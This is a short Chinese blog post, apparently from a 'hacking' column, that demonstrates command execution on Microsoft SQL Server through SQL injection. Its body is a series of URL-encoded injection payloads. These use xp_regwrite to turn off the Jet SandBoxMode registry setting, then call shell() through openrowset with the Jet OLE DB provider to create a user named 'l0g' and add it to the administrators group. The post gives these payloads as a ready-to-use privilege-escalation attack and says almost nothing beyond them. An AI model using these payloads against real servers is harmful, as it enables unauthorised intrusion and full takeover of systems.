利用access执行命令的一个实例

最新推荐文章于 2021-05-28 15:34:41 发布

l0g

最新推荐文章于 2021-05-28 15:34:41 发布

阅读量1k

点赞数

CC 4.0 BY-SA版权

分类专栏： hacking 文章标签： access database shell user c

本文链接：https://blog.youkuaiyun.com/l0g/article/details/575774

hacking 专栏收录该内容

6 篇文章

订阅专栏

本文展示了一种利用SQL注入漏洞进行权限提升的方法，通过特定的SQL语句修改注册表设置，并利用OLE DB连接执行系统命令创建新用户并将其加入管理员组，最终实现对系统的完全控制。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

;exec%20master..xp_regwrite%20'HKEY_LOCAL_MACHINE','SOFTWARE/Microsoft/Jet/4.0/Engines','SandBoxMode','REG_DWORD',0;--

%20and%200<>(select%20*%20from%20openrowset('microsoft.jet.oledb.4.0',';database=c:/winnt/system32/ias/dnary.mdb','select%20shell("cmd.exe%20/c%20net%20user%20l0g%20l0g%20/add")'))

%20and%200<>(select%20*%20from%20openrowset('microsoft.jet.oledb.4.0',';database=c:/winnt/system32/ias/dnary.mdb','select%20shell("cmd.exe%20/c%20net%20localgroup%20administrators%20l0g%20/add")'))

net%20localgroup%20administrators%20l0g%20/add

%20and%200<>(select%20*%20from%20openrowset('microsoft.jet.oledb.4.0',';database=c:/winnt/system32/ias/dnary.mdb','select%20shell("cmd.exe%20/c%20ping xxx.xxx.xxx.xxx")'))